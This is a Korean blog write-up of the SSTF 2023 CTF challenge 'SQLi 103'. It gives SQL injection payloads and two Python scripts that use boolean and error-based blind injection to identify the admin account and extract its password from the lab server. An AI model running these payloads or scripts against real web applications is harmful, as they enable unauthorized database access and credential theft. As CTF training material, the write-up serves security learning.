[web] Tutorial - SQLi 103
1. 문제 설명
Okay, you're getting familiar with web and sql!
Here's another lesson for you. :)
Find the password of the administrator.
http://sqli103.sstf.site/survey.php.
http://sqli103.sstf.site/check_id.php.
Keep in mind:
- There's pw column in the database.
- The password meets '\d{6,10}'.
- The flag will be SCTF{password of administrator}.
2. Writeup
이 문제는 게싱이 좀 심한 문제라서 적당히 풀이를 참고하며 풀었고, 다음과 같이 정리할 수 있다.
0) SQLi 103 문제 정리 (더보기 클릭)
문제의 목표
Blind SQL Injection을 통해 administrator의 패스워드 찾기
문제의 정보
- survey.php 페이지는 answer 파라미터로 숫자만 입력받도록 설계되어 있다.
- check_id.php 페이지는 id 파라미터를 통해 입력받은 사용자가 존재하는지에 대한 여부를 true/false로 반환한다.
- 데이터베이스에는 pw 컬럼이 존재한다.
- 패스워드는 '\d{6,10}' 형식을 만족한다. (비밀번호는 6~10자리의 숫자로 구성되어 있다)
- FLAG는 SCTF{관리자의 비밀번호} 형식이다.
힌트
- user_id와 is_admin 컬럼이 데이터베이스에 존재한다.
- 다음과 같은 User ID가 존재한다.
["alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta", "theta", "iota", "kappa", "lambda", "admin", "notadmin"]
1) 관리자 계정 찾기
등록된 여러 ID 중 진짜 관리자 권한을 가진 계정을 찾아야 한다.
check_id.php 페이지에서 id 파라미터에 다음 값들을 입력해보면서 SQL Injection 취약점이 존재하는지 확인할 수 있다.
id 파라미터에 세미콜론 (') 을 입력하면 mysqli 경고 메시지를 확인할 수 있다.
이를 통해 서버는 mysql 을 사용하고 있다는 사실을 확인할 수 있다.
이후 id에 존재하지 않는 user id (ex. asdf)를 입력하고 'or 1=1-- -과 'or 1=2-- - 를 추가하여 결과값을 확인해보자.
Case 1)
http://sqli103.sstf.site/check_id.php?id=asdf' or 1=1-- -
Case 2)
http://sqli103.sstf.site/check_id.php?id=asdf' or 1=2-- -
이를 통해 id 파라미터를 이용하여 blind sql injection 을 수행하면 관리자 계정을 찾아낼 수 있다.
이 테이블에는 user_id와 is_admin 컬럼이 존재하기 때문에 id=alpha' and is_admin=1 -- - 쿼리를 입력하여 결과값을 보고 알아낼 수 있다.
따라서 admin 계정을 찾아내는 코드는 다음과 같이 작성할 수 있다.
import requests
accounts = ["alpha", "beta", "gamma", "delta", "epsilon", "zeta",
"eta", "theta", "iota", "kappa", "lambda", "admin", "notadmin"]
is_admin = 1
url = 'http://sqli103.sstf.site/check_id.php?id='
query = f"{accounts[0]}' and is_admin={int(is_admin)} -- -"
for i in range(accounts.__len__()):
query = f"{accounts[i]}' and is_admin={int(is_admin)} -- -"
res = requests.get(url + query)
if res.text.find("true") != -1:
print(f"admin account : {accounts[i]}")
break
2) 관리자 계정 비밀번호 찾기
관리자 계정이 epsilon이라는 사실을 알았고 이제 계정 비밀번호를 찾아야 한다.
survey.php 페이지에는 SQL Injection 취약점이 존재한다.
answer 파라미터에 sleep(5)를 입력하면 5초 뒤 사이트 응답이 오는것을 확인할 수 있다.
이를 통해 다음과 같이 관리자 계정의 패스워드 길이와 값을 알아내는 코드를 작성할 수 있다.
import requests
url = 'http://sqli103.sstf.site/survey.php?answer='
def find_length():
print("[+] Find Length")
num = 0
while True:
find_length_query = f"(select if(length(pw)={num}, pow(~0, ~0), 0) from member where user_id='epsilon')"
res = requests.get(url + find_length_query)
if res.text.find("DOUBLE value is out of range in 'pow(~(0),~(0))") != -1:
print(f'length : {num}')
break
else:
num += 1
return num
def find_pw(len):
print("[+] Find String")
flag = 'SCTF{'
for num in range(1, len+1):
for byte in range(0, 11):
find_string_query = f"if((select substr(pw,{int(num)},1) from member where user_id='epsilon')={int(byte)}, pow(~0, ~0), 0)"
res = requests.get(url + find_string_query)
if res.text.find("DOUBLE value is out of range in 'pow(~(0),~(0))") != -1:
flag += str(byte)
print(flag)
break
flag += '}'
print(flag)
find_pw(find_length())
'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글
[pwn] Tutorial - BOF102 (0) | 2024.01.10 |
---|---|
[pwn] Tutorial - BOF101 (0) | 2024.01.10 |
[web] Tutorial - SQLi 102 (0) | 2024.01.10 |
[web] Tutorial - SQLi 101 (0) | 2024.01.10 |
[web] Tutorial - XSS101 (0) | 2024.01.10 |
댓글
이 글 공유하기
다른 글
-
[pwn] Tutorial - BOF102
[pwn] Tutorial - BOF102
2024.01.10 -
[pwn] Tutorial - BOF101
[pwn] Tutorial - BOF101
2024.01.10 -
[web] Tutorial - SQLi 102
[web] Tutorial - SQLi 102
2024.01.10 -
[web] Tutorial - SQLi 101
[web] Tutorial - SQLi 101
2024.01.10